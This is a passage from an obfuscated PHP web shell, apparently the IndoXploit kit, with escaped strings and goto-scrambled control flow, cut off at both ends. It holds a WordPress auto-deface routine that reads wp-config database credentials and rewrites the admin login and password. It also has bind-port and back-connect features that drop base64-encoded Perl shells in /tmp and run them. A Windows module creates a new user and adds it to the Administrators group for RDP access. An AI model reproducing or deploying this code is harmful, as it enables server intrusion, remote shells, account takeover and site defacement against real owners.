"\\104\\102\\137\\120\\x41\\123\\123\\127\\x4f\\x52\\104\\47\\x2c\\40\\x27", "\\x27"); goto Nrl5w; sWUwo: $result2 = mysql_fetch_array($q2); goto K8htU; K8htU: $target = $result2[option_value]; goto mqRdP; AndaL: $q = mysql_query("\\123\\105\\114\\x45\\103\\x54\\40\\x2a\\x20\\x46\\x52\\117\\115\\x20{$prefix}\\x20\\x4f\\x52\\104\\x45\\122\\40\\102\\131\\40\\x69\\144\\40\\101\\123\\x43"); goto hFFOW; Nrl5w: $dbname = ambilkata($config, "\\x44\\x42\\x5f\\116\\x41\\x4d\\105\\47\\x2c\\40\\47", "\\47"); goto wODf5; wODf5: $dbprefix = ambilkata($config, "\\164\\141\\142\\x6c\\x65\\x5f\\160\\162\\145\\146\\151\\x78\\x20\\x3d\\40\\x27", "\\47"); goto epp4c; mqRdP: if ($target == \'\') { echo "\\133\\55\\135\\40\\x3c\\x66\\x6f\\156\\164\\x20\\x63\\157\\154\\157\\162\\x3d\\162\\x65\\144\\76\\145\\162\\162\\157\\162\\x2c\\x20\\x67\\141\\142\\151\\163\\141\\40\\x61\\x6d\\x62\\151\\154\\40\\x6e\\141\\155\\x61\\40\\x64\\x6f\\155\\x61\\x69\\156\\40\\156\\171\\x61\\74\\57\\x66\\157\\156\\x74\\x3e\\x3c\\142\\162\\x3e"; } else { echo "\\x5b\\53\\x5d\\40{$target}\\x20\\x3c\\142\\162\\x3e"; } goto NA_pp; epp4c: $prefix = $dbprefix . "\\165\\x73\\145\\x72\\163"; goto UdtVT; G6Fww: $config = anucurl($dir_config); goto Cb6R2; xNtRc: $dbuser = ambilkata($config, "\\104\\x42\\137\\125\\x53\\105\\122\\x27\\54\\x20\\47", "\\47"); goto YKyeq; NA_pp: $update = mysql_query("\\125\\x50\\x44\\101\\x54\\105\\x20{$prefix}\\x20\\x53\\105\\124\\x20\\x75\\163\\145\\x72\\x5f\\154\\157\\x67\\x69\\x6e\\75\\47{$user}\\x27\\54\\x75\\x73\\x65\\x72\\137\\x70\\141\\x73\\163\\75\\47{$passx}\\47\\40\\x57\\x48\\105\\122\\105\\40\\x49\\104\\75\\x27{$id}\\x27"); goto kopA9; AhRQx: $q2 = mysql_query("\\123\\105\\114\\105\\103\\x54\\40\\x2a\\x20\\106\\x52\\117\\115\\40{$option}\\x20\\x4f\\x52\\104\\x45\\x52\\40\\x42\\x59\\x20\\157\\160\\x74\\x69\\157\\x6e\\x5f\\x69\\144\\x20\\101\\123\\103"); goto sWUwo; DLJCa: $id = $result[ID]; goto AhRQx; qJn6T: $db = mysql_select_db($dbname); goto AndaL; hFFOW: $result = mysql_fetch_array($q); goto DLJCa; Cb6R2: $dbhost = ambilkata($config, "\\x44\\102\\x5f\\x48\\x4f\\x53\\x54\\x27\\x2c\\x20\\x27", "\\x27"); goto xNtRc; pa0CK: $conn = mysql_connect($dbhost, $dbuser, $dbpass); goto qJn6T; tXV0N: } goto G6Ywf; ffc11: $link = explode("\\xd\\xa", $_POST["\\154\\151\\156\\153"]); goto SpOv7; g1f9q: function lohgin($cek, $web, $userr, $pass, $wp_submit) { goto o1XHN; Mnq4E: curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); goto spfRZ; ExBSH: $ch = curl_init($cek); goto OBXQe; o1XHN: $post = array("\\154\\157\\147" => "{$userr}", "\\160\\167\\x64" => "{$pass}", "\\x72\\145\\155\\145\\x6d\\142\\x65\\162\\155\\x65" => "\\x66\\157\\162\\x65\\x76\\x65\\162", "\\167\\160\\x2d\\163\\x75\\142\\x6d\\x69\\164" => "{$wp_submit}", "\\162\\145\\144\\151\\x72\\145\\143\\x74\\x5f\\x74\\157" => "{$web}", "\\x74\\145\\163\\164\\143\\157\\x6f\\153\\x69\\x65" => "\\61"); goto ExBSH; i_lu9: curl_setopt($ch, CURLOPT_COOKIEFILE, "\\x63\\157\\157\\153\\151\\145\\56\\x74\\170\\164"); goto jEIVS; spfRZ: curl_setopt($ch, CURLOPT_USERAGENT, "\\115\\x6f\\172\\x69\\x6c\\154\\x61\\57\\x35\\56\\60\\x20\\x28\\x57\\x69\\x6e\\x64\\x6f\\x77\\163\\x20\\x4e\\x54\\x20\\66\\56\\61\\73\\15\\xa\\15\\xa\\15\\xa\\40\\x72\\166\\72\\x33\\x32\\56\\60\\x29\\x20\\x47\\145\\143\\153\\157\\57\\62\\x30\\61\\60\\x30\\x31\\60\\x31\\40\\x46\\151\\162\\145\\x66\\x6f\\170\\x2f\\x33\\62\\x2e\\60"); goto emlid; bawZ3: curl_setopt($ch, CURLOPT_POSTFIELDS, $post); goto KJHKV; PaBd4: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); goto aKU7q; aKU7q: curl_setopt($ch, CURLOPT_POST, 1); goto bawZ3; jEIVS: curl_setopt($ch, CURLOPT_COOKIESESSION, true); goto yS3fI; OBXQe: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto Mnq4E; yS3fI: $data = curl_exec($ch); goto dOSpP; KJHKV: curl_setopt($ch, CURLOPT_COOKIEJAR, "\\143\\x6f\\157\\153\\151\\x65\\x2e\\164\\x78\\164"); goto i_lu9; KKi79: return $data; goto Ijwmp; emlid: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); goto PaBd4; dOSpP: curl_close($ch); goto KKi79; Ijwmp: } goto ffc11; G6Ywf: } else { echo "\\x3c\\x63\\x65\\x6e\\x74\\145\\x72\\x3e\\x3c\\x68\\61\\x3e\\127\\157\\162\\144\\120\\x72\\x65\\x73\\x73\\40\\101\\165\\164\\x6f\\40\\x44\\145\\146\\x61\\143\\x65\\40\\126\\56\\x32\\x3c\\57\\150\\x31\\x3e\\xd\\xa\\11\\11\\x3c\\x66\\157\\162\\x6d\\x20\\155\\x65\\164\\x68\\157\\144\\x3d\\x27\\x70\\157\\163\\164\\47\\x3e\\xd\\12\\11\\11\\x4c\\151\\x6e\\x6b\\40\\x43\\157\\x6e\\x66\\151\\147\\x3a\\x20\\x3c\\x62\\x72\\76\\xd\\xa\\11\\11\\x3c\\164\\x65\\170\\x74\\141\\162\\145\\x61\\x20\\156\\x61\\x6d\\145\\x3d\\47\\x6c\\151\\156\\153\\x27\\x20\\160\\x6c\\x61\\143\\x65\\150\\157\\154\\x64\\x65\\x72\\75\\47\\x68\\x74\\x74\\x70\\x3a\\x2f\\57\\164\\x61\\x72\\x67\\x65\\164\\x2e\\x63\\x6f\\155\\57\\x69\\144\\170\\137\\x63\\x6f\\x6e\\146\\151\\147\\57\\x75\\163\\x65\\162\\55\\x63\\157\\156\\146\\x69\\x67\\x2e\\x74\\x78\\164\\x27\\x20\\x73\\164\\171\\154\\145\\x3d\\x27\\167\\151\\144\\164\\x68\\x3a\\40\\64\\65\\60\\x70\\x78\\73\\xd\\xa\\15\\12\\xd\\xa\\x20\\150\\145\\x69\\x67\\150\\x74\\72\\62\\x35\\60\\x70\\170\\73\\15\\12\\15\\12\\15\\12\\47\\x3e\\x3c\\57\\x74\\x65\\170\\164\\141\\162\\x65\\x61\\x3e\\x3c\\142\\x72\\76\\15\\12\\x9\\x9\\x3c\\x69\\x6e\\160\\165\\164\\x20\\164\\x79\\x70\\145\\75\\x27\\x74\\145\\x78\\x74\\x27\\x20\\x6e\\x61\\x6d\\145\\x3d\\x27\\163\\143\\162\\x69\\x70\\164\\x27\\40\\150\\x65\\151\\x67\\150\\164\\75\\47\\x31\\x30\\47\\40\\163\\151\\x7a\\145\\x3d\\x27\\65\\x30\\47\\40\\160\\154\\141\\143\\x65\\150\\157\\154\\144\\145\\x72\\75\\47\\110\\x61\\143\\153\\x65\\144\\40\\x62\\171\\x20\\x49\\x6e\\144\\x6f\\x58\\160\\x6c\\157\\x69\\x74\\x27\\x20\\x72\\145\\161\\x75\\151\\x72\\145\\144\\76\\x3c\\142\\x72\\x3e\\xd\\12\\x9\\11\\x3c\\x69\\x6e\\160\\165\\164\\40\\164\\171\\160\\x65\\x3d\\x27\\x73\\x75\\x62\\x6d\\151\\x74\\47\\x20\\x63\\x6c\\x61\\x73\\163\\75\\x27\\x62\\164\\156\\x20\\142\\x74\\x6e\\55\\x73\\x75\\143\\143\\x65\\163\\x73\\40\\x62\\164\\156\\55\\x73\\x6d\\47\\x20\\x73\\164\\171\\x6c\\145\\75\\47\\167\\x69\\144\\164\\150\\72\\40\\64\\65\\x30\\x70\\x78\\x3b\\xd\\12\\15\\12\\15\\12\\47\\40\\x6e\\x61\\155\\145\\75\\x27\\141\\x75\\164\\x6f\\x5f\\x64\\145\\x66\\141\\x63\\145\\137\\x77\\x70\\x27\\40\\x76\\x61\\154\\x75\\x65\\75\\x27\\x48\\x61\\152\\141\\x72\\x21\\41\\x27\\76\\xd\\xa\\11\\11\\x3c\\x2f\\x66\\x6f\\162\\155\\76\\x3c\\57\\143\\x65\\156\\x74\\145\\162\\76"; } } elseif ($_GET["\\x64\\157"] == "\\156\\x65\\x74\\167\\x6f\\x72\\x6b") { goto ym1Ab; FQ3px: if (isset($_POST["\\163\\165\\142\\137\\142\\x70"])) { goto e3wUQ; ci2nL: $out = exe("\\160\\145\\162\\x6c\\40\\x2f\\x74\\x6d\\160\\x2f\\x62\\x70\\56\\160\\x6c\\40{$port}\\x20\\x31\\x3e\\x2f\\144\\145\\x76\\57\\156\\165\\x6c\\x6c\\40\\62\\76\\x26\\x31\\40\\46"); goto w7hhE; xlVmG: $port = $_POST["\\160\\157\\x72\\x74\\137\\x62\\151\\156\\x64"]; goto ci2nL; ylzew: fwrite($f_bp, base64_decode($bind_port_p)); goto bjBQV; ME4ce: unlink("\\x2f\\x74\\x6d\\160\\57\\142\\160\\56\\x70\\154"); goto aq0Ki; zZgS5: echo "\\74\\160\\162\\x65\\76" . $out . "\\12" . exe("\\x70\\163\\40\\141\\x75\\170\\40\\174\\40\\147\\x72\\145\\x70\\x20\\x62\\160\\x2e\\160\\154") . "\\x3c\\x2f\\160\\162\\x65\\x3e"; goto ME4ce; w7hhE: sleep(1); goto zZgS5; e3wUQ: $f_bp = fopen("\\x2f\\164\\x6d\\x70\\57\\142\\x70\\x2e\\x70\\x6c", "\\167"); goto ylzew; bjBQV: fclose($f_bp); goto xlVmG; aq0Ki: } goto hR5r8; m4nfE: $bind_port_p = "\\x49\\x79\\105\\166\\144\\x58\\116\\171\\114\\x32\\x4a\\x70\\x62\\x69\\71\\x77\\x5a\\130\\112\\163\\x44\\121\\x6f\\153\\x55\\x30\\x68\\x46\\x54\\x45\\x77\\x39\\x49\\151\\x39\\x69\\141\\x57\\x34\\166\\x63\\62\\x67\\147\\114\\127\\153\\151\\117\\167\\x30\\x4b\\x61\\127\\131\\147\\x4b\\x45\\x42\\102\\125\\x6b\\x64\\127\\x49\\104\\x77\\147\\x4d\\x53\\153\\x67\\x65\\171\\102\\154\\x65\\107\\154\\60\\113\\104\\105\\x70\\117\\171\\x42\\x39\\104\\x51\\x70\\61\\143\\x32\\125\\x67\\125\\x32\\71\\152\\141\\x32\\x56\\x30\\x4f\\167\\x30\\113\\143\\x32\\71\\152\\x61\\62\\x56\\60\\113\\x46\\115\\163\\112\\x6c\\102\\107\\x58\\60\\154\\117\\x52\\x56\\121\\x73\\112\\x6c\\116\\x50\\121\\60\\x74\\x66\\125\\x31\\x52\\x53\\x52\\125\\x46\\x4e\\x4c\\107\\144\\x6c\\144\\110\\102\\171\\142\\63\\122\\x76\\131\\156\\154\\165\\x59\\x57\\61\\154\\113\\103\\144\\x30\\x59\\x33\\101\\156\\113\\x53\\x6b\\147\\146\\x48\\x77\\147\\132\\107\\154\\x6c\\111\\x43\\x4a\\x44\\131\\127\\x35\\60\\111\\x47\\116\\171\\x5a\\x57\\x46\\60\\x5a\\123\\x42\\x7a\\x62\\x32\\116\\162\\x5a\\130\\x52\\143\\142\\x69\\x49\\x37\\x44\\x51\\x70\\172\\132\\x58\\122\\x7a\\142\\x32\\116\\162\\142\\63\\102\\60\\x4b\\x46\\115\\x73\\x55\\60\\71\\115\\x58\\x31\\x4e\\x50\\121\\60\\164\\x46\\x56\\103\\170\\124\\x54\\61\\x39\\123\\x52\\126\\x56\\x54\\x52\\125\\x46\\105\\x52\\x46\\x49\\163\\115\\x53\\x6b\\67\\x44\\121\\x70\\x69\\x61\\x57\\x35\\153\\113\\x46\\115\\x73\\x63\\62\\x39\\152\\141\\x32\\106\\x6b\\132\\110\\x4a\\x66\\x61\\x57\\x34\\x6f\\x4a\\x45\\106\\123\\x52\\61\\132\\142\\x4d\\x46\\60\\163\\x53\\125\\65\\x42\\x52\\105\\x52\\123\\130\\x30\\x46\\x4f\\127\\x53\\x6b\\160\\111\\x48\\170\\70\\111\\107\\122\\160\\x5a\\123\\101\\151\\121\\62\\x46\\165\\144\\103\\x42\\166\\x63\\107\\126\\x75\\111\\x48\\102\\x76\\143\\156\\122\\x63\\x62\\151\\x49\\x37\\x44\\x51\\160\\x73\\x61\\130\\116\\60\\x5a\\x57\\64\\x6f\\125\\171\\167\\172\\x4b\\123\\102\\x38\\x66\\103\\102\\153\\141\\127\\125\\x67\\111\\153\\x4e\\x68\\142\\x6e\\121\\x67\\142\\107\\x6c\\x7a\\x64\\107\\126\\x75\\x49\\110\\x42\\166\\x63\\x6e\\122\\x63\\x62\\151\\111\\x37\\x44\\121\\160\\x33\\x61\\107\\x6c\\x73\\132\\x53\\x67\\170\\113\\x53\\102\\x37\\x44\\121\\x6f\\112\\131\\127\\x4e\\x6a\\132\\x58\\102\\x30\\113\\105\\x4e\\120\\124\\x6b\\x34\\x73\\x55\\x79\\153\\67\\x44\\121\\157\\x4a\\x61\\127\\x59\\x6f\\111\\123\\x67\\x6b\\143\\x47\\154\\x6b\\120\\x57\\132\\166\\x63\\x6d\\163\\x70\\113\\123\\x42\\x37\\x44\\121\\157\\112\\x43\\x57\\122\\160\\132\\x53\\101\\151\\x51\\62\\106\\x75\\142\\155\\71\\60\\111\\107\\132\\166\\x63\\155\\163\\x69\\111\\x47\\x6c\\x6d\\111\\103\\147\\x68\\132\\x47\\x56\\x6d\\141\\x57\\65\\x6c\\132\\x43\\101\\x6b\\x63\\107\\154\\x6b\\x4b\\124\\163\\116\\x43\\x67\\153\\x4a\\142\\63\\102\\x6c\\142\\151\\102\\124\\126\\x45\\122\\x4a\\124\\151\\x77\\x69\\x50\\103\\132\\x44\\124\\x30\\x35\\117\\x49\\x6a\\163\\116\\x43\\x67\\x6b\\112\\142\\x33\\x42\\154\\x62\\x69\\x42\\124\\126\\105\\x52\\x50\\x56\\126\\121\\163\\111\\152\\x34\\x6d\\121\\x30\\71\\x4f\\124\\x69\\x49\\67\\104\\121\\x6f\\x4a\\x43\\x57\\71\\167\\x5a\\127\\x34\\x67\\x55\\61\\122\\x45\\x52\\126\\x4a\\x53\\x4c\\x43\\x49\\53\\x4a\\153\\x4e\\x50\\x54\\153\\64\\151\\117\\x77\\60\\113\\x43\\121\\x6c\\154\\x65\\x47\\126\\x6a\\x49\\103\\122\\x54\\123\\105\\126\\115\\x54\\103\\x42\\70\\x66\\103\\102\\153\\x61\\127\\125\\147\\x63\\110\\x4a\\160\\142\\156\\x51\\x67\\121\\x30\\x39\\117\\x54\\x69\\101\\x69\\121\\62\\106\\165\\144\\103\\x42\\x6c\\x65\\x47\\126\\152\\x64\\x58\\122\\x6c\\111\\x43\\122\\x54\\123\\x45\\126\\x4d\\124\\x46\\170\\165\\x49\\152\\x73\\116\\x43\\147\\153\\x4a\\131\\x32\\170\\166\\x63\\x32\\x55\\x67\\121\\x30\\71\\117\\x54\\152\\x73\\116\\103\\147\\153\\112\\x5a\\x58\\x68\\160\\144\\x43\\x41\\x77\\117\\167\\60\\x4b\\103\\x58\\x30\\x4e\\x43\\156\\60\\x3d"; goto FQ3px; ym1Ab: echo "\\74\\146\\x6f\\162\\x6d\\x20\\x6d\\x65\\x74\\x68\\157\\144\\75\\x27\\160\\157\\163\\164\\47\\76\\15\\12\\x9\\x3c\\165\\76\\102\\x69\\x6e\\x64\\40\\120\\157\\162\\164\\x3a\\74\\x2f\\165\\76\\40\\x3c\\142\\x72\\x3e\\15\\12\\11\\120\\117\\122\\124\\72\\40\\x3c\\x69\\x6e\\160\\x75\\x74\\x20\\x74\\x79\\160\\145\\75\\x27\\164\\x65\\x78\\164\\47\\40\\x70\\x6c\\x61\\143\\x65\\x68\\x6f\\154\\144\\x65\\x72\\x3d\\x27\\160\\157\\x72\\164\\47\\x20\\x6e\\x61\\x6d\\145\\75\\x27\\x70\\157\\162\\164\\x5f\\x62\\151\\156\\x64\\47\\x20\\166\\141\\x6c\\165\\145\\75\\x27\\66\\71\\x36\\x39\\x27\\76\\15\\xa\\x9\\74\\151\\x6e\\160\\165\\164\\x20\\x74\\171\\x70\\x65\\75\\47\\x73\\165\\142\\155\\x69\\x74\\x27\\x20\\143\\x6c\\x61\\163\\x73\\75\\x27\\x62\\x74\\156\\x20\\142\\164\\x6e\\x2d\\163\\x75\\x63\\x63\\x65\\x73\\163\\40\\142\\x74\\x6e\\55\\x73\\x6d\\x27\\40\\156\\141\\155\\145\\x3d\\47\\x73\\165\\x62\\x5f\\142\\160\\x27\\40\\x76\\141\\154\\x75\\145\\x3d\\47\\76\\76\\x27\\x3e\\xd\\12\\x9\\74\\x2f\\146\\x6f\\x72\\155\\76\\15\\12\\11\\74\\x66\\x6f\\x72\\155\\40\\x6d\\145\\x74\\150\\x6f\\x64\\x3d\\47\\x70\\x6f\\x73\\164\\x27\\76\\xd\\xa\\11\\74\\x75\\x3e\\102\\x61\\143\\x6b\\x20\\103\\x6f\\156\\156\\145\\143\\x74\\x3a\\x3c\\57\\x75\\x3e\\x20\\x3c\\142\\x72\\76\\xd\\xa\\11\\x53\\x65\\x72\\166\\x65\\x72\\x3a\\x20\\x3c\\151\\x6e\\160\\165\\x74\\x20\\x74\\171\\x70\\x65\\x3d\\47\\164\\x65\\x78\\x74\\47\\40\\x70\\x6c\\141\\143\\x65\\x68\\157\\154\\144\\145\\162\\x3d\\x27\\x69\\x70\\x27\\x20\\x6e\\141\\155\\x65\\x3d\\47\\x69\\160\\137\\142\\143\\x27\\40\\x76\\141\\x6c\\165\\x65\\x3d\\x27" . $_SERVER["\\122\\x45\\x4d\\x4f\\x54\\x45\\x5f\\101\\x44\\104\\122"] . "\\x27\\x3e\\46\\156\\x62\\163\\160\\x3b\\xd\\xa\\xd\\12\\15\\xa\\x26\\x6e\\x62\\163\\x70\\73\\xd\\xa\\xd\\12\\15\\xa\\15\\xa\\11\\120\\117\\x52\\x54\\x3a\\x20\\74\\x69\\156\\x70\\x75\\164\\40\\x74\\x79\\x70\\x65\\75\\x27\\164\\145\\170\\164\\47\\40\\x70\\154\\141\\143\\x65\\150\\157\\154\\x64\\x65\\162\\75\\47\\x70\\x6f\\162\\164\\x27\\40\\x6e\\141\\155\\x65\\x3d\\x27\\x70\\157\\162\\x74\\x5f\\x62\\143\\x27\\40\\166\\141\\154\\165\\145\\75\\x27\\x36\\71\\x36\\x39\\x27\\76\\xd\\xa\\11\\74\\x69\\x6e\\160\\165\\x74\\40\\x74\\x79\\x70\\x65\\x3d\\47\\x73\\165\\142\\155\\x69\\x74\\x27\\x20\\x63\\154\\x61\\163\\163\\x3d\\x27\\x62\\164\\156\\40\\142\\164\\156\\x2d\\x73\\165\\143\\x63\\x65\\x73\\163\\x20\\142\\164\\x6e\\55\\163\\x6d\\x27\\x20\\x6e\\141\\x6d\\145\\x3d\\x27\\163\\x75\\x62\\137\\142\\x63\\47\\40\\166\\141\\154\\x75\\x65\\x3d\\x27\\76\\76\\x27\\76\\xd\\12\\x9\\74\\57\\146\\157\\162\\155\\76"; goto m4nfE; dy9ES: if (isset($_POST["\\x73\\165\\142\\x5f\\142\\143"])) { goto rILRb; bDLXh: fclose($f_bc); goto J3rRE; XTaAg: fwrite($f_bc, base64_decode($bind_connect_p)); goto bDLXh; Vf2c3: sleep(1); goto N3Egk; J3rRE: $ipbc = $_POST["\\x69\\160\\137\\x62\\x63"]; goto kLRvA; bg4p7: $out = exe("\\x70\\x65\\162\\154\\40\\57\\x74\\x6d\\x70\\57\\x62\\143\\x2e\\x70\\154\\40{$ipbc}\\x20{$port}\\40\\61\\x3e\\x2f\\x64\\x65\\166\\57\\x6e\\x75\\x6c\\x6c\\40\\62\\76\\x26\\61\\x20\\46"); goto Vf2c3; RTajI: unlink("\\x2f\\164\\x6d\\x70\\x2f\\142\\x63\\56\\x70\\154"); goto JXk8U; kLRvA: $port = $_POST["\\x70\\157\\x72\\x74\\137\\x62\\143"]; goto bg4p7; N3Egk: echo "\\x3c\\x70\\x72\\x65\\x3e" . $out . "\\xa" . exe("\\x70\\x73\\40\\x61\\165\\x78\\x20\\x7c\\x20\\147\\x72\\145\\160\\x20\\x62\\143\\56\\160\\x6c") . "\\x3c\\57\\160\\162\\x65\\76"; goto RTajI; rILRb: $f_bc = fopen("\\57\\x74\\x6d\\x70\\x2f\\142\\x63\\x2e\\x70\\154", "\\167"); goto XTaAg; JXk8U: } goto W1WBU; hR5r8: $back_connect_p = "\\x49\\171\\105\\x76\\x64\\130\\x4e\\171\\114\\x32\\112\\x70\\142\\151\\71\\x77\\132\\130\\x4a\\163\\x44\\x51\\x70\\x31\\143\\x32\\x55\\x67\\125\\62\\x39\\x6a\\x61\\62\\126\\x30\\x4f\\x77\\60\\x4b\\x4a\\x47\\x6c\\x68\\132\\107\\122\\x79\\x50\\127\\154\\165\\x5a\\x58\\x52\\x66\\x59\\x58\\x52\\x76\\142\\x69\\x67\\153\\121\\x56\\112\\x48\\x56\\154\\163\\x77\\x58\\x53\\x6b\\x67\\x66\\x48\\x77\\147\\132\\x47\\x6c\\154\\113\\x43\\112\\106\\143\\x6e\\x4a\\x76\\x63\\152\\157\\x67\\x4a\\x43\\106\\143\\142\\x69\\x49\\160\\117\\167\\60\\x4b\\x4a\\x48\\x42\\150\\x5a\\107\\122\\x79\\x50\\x58\\116\\166\\x59\\62\\x74\\x68\\132\\107\\x52\\x79\\x58\\x32\\154\\x75\\113\\103\\x52\\x42\\125\\153\\144\\127\\127\\x7a\\106\\x64\\114\\103\\x41\\x6b\\141\\127\\106\\x6b\\x5a\\x48\\x49\\160\\x49\\x48\\170\\x38\\111\\107\\x52\\x70\\x5a\\123\\x67\\x69\\122\\x58\\x4a\\x79\\142\\63\\111\\x36\\111\\103\\121\\150\\x58\\x47\\x34\\151\\x4b\\124\\x73\\x4e\\103\\x69\\x52\\167\\143\\x6d\\x39\\x30\\142\\172\\x31\\156\\132\\x58\\122\\x77\\143\\x6d\\71\\x30\\x62\\x32\\x4a\\65\\x62\\155\\106\\x74\\x5a\\x53\\x67\\x6e\\144\\107\\x4e\\x77\\112\\171\\x6b\\x37\\x44\\x51\\160\\172\\142\\62\\x4e\\162\\x5a\\130\\x51\\x6f\\x55\\60\\71\\104\\x53\\60\\x56\\125\\x4c\\103\\102\\x51\\122\\x6c\\71\\x4a\\124\\153\\126\\x55\\114\\x43\\102\\x54\\124\\x30\\116\\114\\130\\61\\116\\125\\x55\\x6b\\x56\\102\\x54\\123\\167\\147\\x4a\\110\\102\\171\\142\\x33\\x52\\166\\113\\x53\\x42\\x38\\x66\\103\\x42\\153\\x61\\x57\\125\\x6f\\111\\x6b\\x56\\171\\x63\\x6d\\x39\\171\\x4f\\151\\101\\153\\x49\\x56\\170\\x75\\111\\151\\153\\x37\\104\\121\\x70\\x6a\\x62\\x32\\65\\165\\x5a\\x57\\116\\60\\113\\106\\116\\x50\\121\\60\\x74\\x46\\x56\\x43\\x77\\147\\x4a\\x48\\x42\\150\\132\\x47\\122\\171\\113\\x53\\x42\\x38\\x66\\x43\\x42\\153\\x61\\127\\125\\157\\111\\x6b\\x56\\171\\x63\\x6d\\x39\\171\\x4f\\151\\x41\\x6b\\x49\\x56\\x78\\165\\x49\\151\\153\\x37\\x44\\x51\\x70\\x76\\143\\x47\\x56\\165\\x4b\\x46\\116\\x55\\x52\\105\\154\\x4f\\x4c\\x43\\x41\\151\\120\\x69\\132\\x54\\124\\x30\\116\\x4c\\x52\\x56\\121\\151\\x4b\\124\\x73\\116\\x43\\155\\71\\167\\x5a\\x57\\64\\157\\125\\61\\122\\105\\124\\61\\x56\\125\\x4c\\103\\101\\x69\\x50\\x69\\132\\124\\x54\\60\\x4e\\114\\x52\\x56\\121\\x69\\x4b\\124\\x73\\116\\x43\\155\\71\\167\\x5a\\127\\x34\\157\\125\\61\\x52\\105\\x52\\x56\\112\\x53\\114\\103\\101\\151\\x50\\151\\132\\x54\\x54\\60\\x4e\\x4c\\x52\\126\\121\\x69\\x4b\\124\\163\\x4e\\103\\156\\116\\x35\\143\\x33\\122\\x6c\\x62\\x53\\x67\\x6e\\x4c\\x32\\112\\160\\x62\\151\\x39\\x7a\\141\\x43\\101\\x74\\141\\123\\143\\x70\\117\\x77\\60\\x4b\\131\\x32\\x78\\x76\\143\\x32\\125\\x6f\\x55\\61\\122\\x45\\123\\125\\64\\160\\117\\167\\60\\x4b\\x59\\62\\x78\\166\\143\\62\\x55\\157\\x55\\x31\\122\\105\\x54\\x31\\126\\125\\x4b\\124\\x73\\116\\x43\\155\\x4e\\163\\x62\\x33\\116\\154\\x4b\\106\\x4e\\125\\x52\\x45\\x56\\123\\125\\x69\\x6b\\67"; goto dy9ES; W1WBU: } elseif ($_GET["\\x64\\x6f"] == "\\153\\x72\\x64\\160\\137\\x73\\150\\x65\\x6c\\154") { if (strtolower(substr(PHP_OS, 0, 3)) === "\\167\\151\\156") { if ($_POST["\\x63\\162\\145\\x61\\x74\\x65"]) { goto B0ddC; B0ddC: $user = htmlspecialchars($_POST["\\165\\163\\145\\162"]); goto QYcpm; QYcpm: $pass = htmlspecialchars($_POST["\\x70\\141\\163\\163"]); goto pb7Ox; pb7Ox: if (preg_match("\\x2f{$user}\\57", exe("\\156\\145\\x74\\40\\x75\\x73\\145\\162"))) { echo "\\x5b\\x49\\116\\x46\\x4f\\135\\40\\55\\x3e\\x20\\74\\x66\\157\\x6e\\x74\\x20\\x63\\x6f\\154\\157\\162\\x3d\\162\\x65\\x64\\x3e\\x75\\x73\\145\\x72\\x20\\x3c\\x66\\x6f\\x6e\\164\\40\\143\\x6f\\x6c\\x6f\\x72\\x3d\\x23\\x31\\x38\\x42\\103\\x39\\x43\\76{$user}\\74\\x2f\\x66\\157\\x6e\\164\\x3e\\x20\\163\\165\\x64\\x61\\x68\\40\\141\\144\\141\\x3c\\57\\x66\\x6f\\156\\164\\76"; } else { goto j_r5G; LXj7_: $add_groups3 = exe("\\156\\x65\\x74\\x20\\154\\157\\143\\141\\154\\x67\\162\\157\\165\\160\\40\\101\\x64\\155\\x69\\x6e\\x69\\x73\\164\\x72\\141\\164\\x65\\165\\162\\x20{$user}\\40\\57\\x61\\x64\\144"); goto dJuio; KN_Xh: if ($add_groups1) { echo "\\x5b\\141\\144\\144\\x20\\x6c\\x6f\\143\\x61\\x6c\\147\\x72\\157\\x75\\160\\40\\x41\\x64\\x6d\\x69\\156\\x69\\x73\\x74\\162\\x61\\x74\\x6f\\162\\x73\\135\\x20\\x2d\\76\\40\\x3c\\146\\157\\156\\x74\\x20\\x63\\157\\154\\x6f\\162\\x3d\\x27\\43\\61\\70\\x42\\x43\\x39\\x43\\x27\\76\\102\\145\\x72\\x68\\141\\x73\\x69\\x6c\\74\\57\\x66\\x6f\\x6e\\x74\\x3e\\74\\x62\\162\\x3e"; } elseif ($add_groups2) { echo "\\133\\x61\\x64\\x64\\x20\\x6c\\x6f\\x63\\x61\\x6c\\x67\\x72\\157\\165\\160\\x20\\x41\\x64\\155\\151\\x6e\\151\\163\\164\\x72\\x61\\164\\157\\x72\\135\\40\\55\\76\\40\\74\\x66\\x6f\\x6e\\164\\40\\x63\\x6f\\154\\157\\x72\\75\\x27\\x23\\x31\\x38\\x42\\x43\\71\\x43\\x27\\76\\102\\x65\\x72\\x68\\141\\163\\151\\154\\x3c\\57\\146\\x6f\\156\\164\\76\\74\\x62\\162\\x3e"; } elseif ($add_groups3) { echo "\\133\\141\\144\\144\\x20\\154\\x6f\\x63\\141\\x6c\\147\\162\\x6f\\165\\160\\x20\\101\\x64\\155\\151\\x6e\\151\\163\\x74\\x72\\x61\\x74\\x65\\x75\\x72\\135\\x20\\x2d\\x3e\\40\\x3c\\146\\x6f\\x6e\\x74\\x20\\143\\x6f\\154\\157\\x72\\x3d\\47\\43\\x31\\x38\\102\\x43\\71\\103\\x27\\x3e\\x42\\145\\162\\150\\x61\\x73\\151\\154\\x3c\\57\\x66\\x6f\\156\\x74\\76\\74\\x62\\x72\\76"; } else { echo "\\133\\141\\x64\\144\\x20\\154\\157\\x63\\x61\\154\\147\\162\\157\\x75\\x70\\x5d\\x20\\55\\76\\x20\\74\\146\\157\\x6e\\x74\\40\\x63\\x6f\\154\\157\\162\\75\\x27\\x72\\x65\\x64\\47\\76\\107\\x61\\x67\\x61\\x6c\\74\\x2f\\x66\\x6f\\156\\164\\76\\74\\x62\\162\\x3e"; } goto iqr7T; dJuio: echo "\\133\\x20\\122\\104\\x50\\x20\\101\\x43\\x43\\117\\125\\116\\x54\\40\\111\\x4e\\106\\117\\x3c\\142\\162\\76\\xd\\12\\x20\\11\\x9\\11\\55\\x2d\\55\\55\\x2d\\55\\55\\x2d\\55\\55\\x2d\\55\\55\\x2d\\x2d\\55\\55\\x2d\\x2d\\55\\55\\x2d\\55\\x2d\\55\\x2d\\55\\55\\55\\x2d\\x3c\\142\\x72\\76\\xd\\xa\\x20\\x9\\x9\\11\\111\\x50\\x3a\\40\\x3c\\146\\x6f\\x6e\\x74\\40\\143\\157\\154\\x6f\\162\\x3d\\43\\x31\\x38\\102\\x43\\71\\x43\\x3e" . $ip . 